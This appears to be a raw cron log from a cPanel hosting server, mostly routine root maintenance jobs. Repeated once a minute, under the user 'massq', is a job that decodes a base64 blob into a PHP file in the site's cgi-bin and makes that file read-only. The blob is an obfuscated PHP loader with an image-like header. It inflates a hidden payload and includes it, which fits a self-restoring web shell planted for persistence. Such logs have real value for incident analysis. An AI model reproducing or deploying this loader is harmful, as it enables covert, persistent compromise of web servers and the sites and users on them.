Sep  9 11:02:01 server CROND[7608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:02:01 server CROND[7609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:02:01 server CROND[7610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:03:01 server CROND[8076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:03:01 server CROND[8077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:03:01 server CROND[8084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:04:01 server CROND[8451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:04:01 server CROND[8453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:04:01 server CROND[8452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:05:01 server CROND[8829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:05:01 server CROND[8830]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 11:05:01 server CROND[8831]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:05:01 server CROND[8837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:05:01 server CROND[8841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:05:01 server CROND[8839]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:05:01 server CROND[8840]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 11:05:01 server CROND[8835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:05:01 server CROND[8836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:06:01 server CROND[9674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:06:01 server CROND[9675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:06:01 server CROND[9676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:07:01 server CROND[10083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:07:01 server CROND[10084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:07:01 server CROND[10085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:08:01 server CROND[10486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:08:01 server CROND[10488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:08:01 server CROND[10489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:09:01 server CROND[10969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:09:01 server CROND[10970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:09:01 server CROND[10971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:09:01 server CROND[10972]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 11:10:01 server CROND[11354]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:10:01 server CROND[11355]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:10:01 server CROND[11361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:10:01 server CROND[11364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:10:01 server CROND[11363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:10:01 server CROND[11365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:10:01 server CROND[11367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:10:01 server CROND[11362]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:11:01 server CROND[12178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:11:01 server CROND[12179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:11:01 server CROND[12180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:12:01 server CROND[12576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:12:01 server CROND[12578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 11:12:01 server CROND[12577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:12:01 server CROND[12579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:13:01 server CROND[12950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:13:01 server CROND[12951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:13:01 server CROND[12952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:14:01 server CROND[13412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
